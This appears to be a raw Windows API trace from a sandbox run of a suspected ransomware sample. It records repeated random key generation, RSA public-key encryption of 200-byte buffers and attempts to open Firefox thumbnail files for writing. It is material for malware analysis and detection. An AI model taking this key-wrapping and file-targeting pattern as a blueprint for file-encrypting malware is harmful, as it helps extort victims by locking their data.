CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0222.957] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.957] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0222.959] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64864c0) returned 1 [0222.959] CryptGetKeyParam (in: hKey=0x64864c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.959] CryptEncrypt (in: hKey=0x64864c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x76e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0222.959] GetLastError () returned 0x0 [0222.959] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.959] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0222.961] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486140) returned 1 [0222.961] CryptGetKeyParam (in: hKey=0x6486140, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.961] CryptEncrypt (in: hKey=0x6486140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x76f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x76f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0222.961] GetLastError () returned 0x0 [0222.961] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.961] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.964] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.964] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0222.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.964] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.967] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0222.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.967] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0222.969] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486600) returned 1 [0222.969] CryptGetKeyParam (in: hKey=0x6486600, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.969] CryptEncrypt (in: hKey=0x6486600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7700000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7700000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0222.969] GetLastError () returned 0x0 [0222.969] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.969] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0222.971] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486300) returned 1 [0222.971] CryptGetKeyParam (in: hKey=0x6486300, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.971] CryptEncrypt (in: hKey=0x6486300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7710000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7710000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0222.971] GetLastError () returned 0x0 [0222.971] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.971] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.971] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.974] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0222.974] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.974] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.977] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.977] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0222.977] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.977] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0222.979] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486400) returned 1 [0222.979] CryptGetKeyParam (in: hKey=0x6486400, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.979] CryptEncrypt (in: hKey=0x6486400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7720000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7720000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0222.979] GetLastError () returned 0x0 [0222.979] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.979] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0222.981] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486780) returned 1 [0222.981] CryptGetKeyParam (in: hKey=0x6486780, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.981] CryptEncrypt (in: hKey=0x6486780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7730000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7730000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0222.981] GetLastError () returned 0x0 [0222.981] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.981] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.981] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.984] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.984] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0222.984] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.985] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.987] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0222.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.987] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0222.989] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486280) returned 1 [0222.989] CryptGetKeyParam (in: hKey=0x6486280, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.989] CryptEncrypt (in: hKey=0x6486280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7740000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7740000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0222.989] GetLastError () returned 0x0 [0222.989] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.989] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0222.991] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64862c0) returned 1 [0222.991] CryptGetKeyParam (in: hKey=0x64862c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0222.991] CryptEncrypt (in: hKey=0x64862c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7750000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7750000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0222.991] GetLastError () returned 0x0 [0222.992] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.992] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.992] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0222.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.995] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.995] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0222.995] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.995] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0222.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.997] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.998] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0222.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.998] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0223.000] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486340) returned 1 [0223.000] CryptGetKeyParam (in: hKey=0x6486340, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0223.000] CryptEncrypt (in: hKey=0x6486340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7760000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7760000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0223.000] GetLastError () returned 0x0 [0223.000] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.000] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0223.002] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486640) returned 1 [0223.002] CryptGetKeyParam (in: hKey=0x6486640, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0223.002] CryptEncrypt (in: hKey=0x6486640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7770000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7770000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0223.003] GetLastError () returned 0x0 [0223.003] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0223.003] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0223.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.006] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0223.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.006] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0223.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.008] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0223.008] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.009] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0223.011] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64866c0) returned 1 [0223.011] CryptGetKeyParam (in: hKey=0x64866c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0223.011] CryptEncrypt (in: hKey=0x64866c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7780000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7780000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0223.011] GetLastError () returned 0x0 [0223.011] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.011] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0223.013] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64867c0) returned 1 [0223.013] CryptGetKeyParam (in: hKey=0x64867c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0223.013] CryptEncrypt (in: hKey=0x64867c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7790000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7790000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0223.013] GetLastError () returned 0x0 [0223.013] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.013] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0223.014] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0223.015] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.016] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0223.016] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.016] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0223.018] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.019] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.019] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0223.019] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.019] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0223.021] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486380) returned 1 [0223.021] CryptGetKeyParam (in: hKey=0x6486380, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0223.021] CryptEncrypt (in: hKey=0x6486380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x77a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0223.021] GetLastError () returned 0x0 [0223.021] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0223.022] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0223.023] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64863c0) returned 1 [0223.023] CryptGetKeyParam (in: hKey=0x64863c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0223.023] CryptEncrypt (in: hKey=0x64863c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x77b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0223.024] GetLastError () returned 0x0 [0223.024] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.024] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0223.270] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0223.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.275] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0223.275] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0223.275] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0223.276] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.279] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0223.279] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.279] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0223.281] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64861c0) returned 1 [0223.281] CryptGetKeyParam (in: hKey=0x64861c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.281] CryptEncrypt (in: hKey=0x64861c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0223.282] GetLastError () returned 0x0 [0223.282] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0223.282] 